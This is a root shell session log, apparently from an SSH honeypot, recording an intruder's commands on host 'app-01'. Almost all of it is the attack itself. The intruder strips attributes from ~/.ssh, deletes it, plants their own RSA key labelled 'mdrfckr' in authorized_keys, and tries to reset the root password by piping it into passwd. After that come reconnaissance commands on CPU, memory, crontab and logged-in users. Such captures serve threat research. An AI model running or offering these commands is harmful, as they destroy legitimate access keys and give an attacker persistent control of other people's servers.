root@app-01:~# cd ~; chattr -ia .ssh; lockr -ia .ssh
-bash: lockr: command not found
root@app-01:~# cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
root@app-01:~# cat /proc/cpuinfo | grep name | wc -l
root@app-01:~# echo -e "Server@123\nGSTbXbX1MZUa\nGSTbXbX1MZUa"|passwd|bash
root@app-01:~# echo "Server@123\nGSTbXbX1MZUa\nGSTbXbX1MZUa\n"|passwd
-bash: passwd: command not found
root@app-01:~# cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
root@app-01:~# free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
root@app-01:~# ls -lh $(which ls)
root@app-01:~# crontab -l
-bash: crontab: command not found
root@app-01:~# w
14:22:31 up 27 min, 1 user, load average: 0.08, 0.03, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 10.0.2.2 14:22 0.00s 0.02s 0.00s w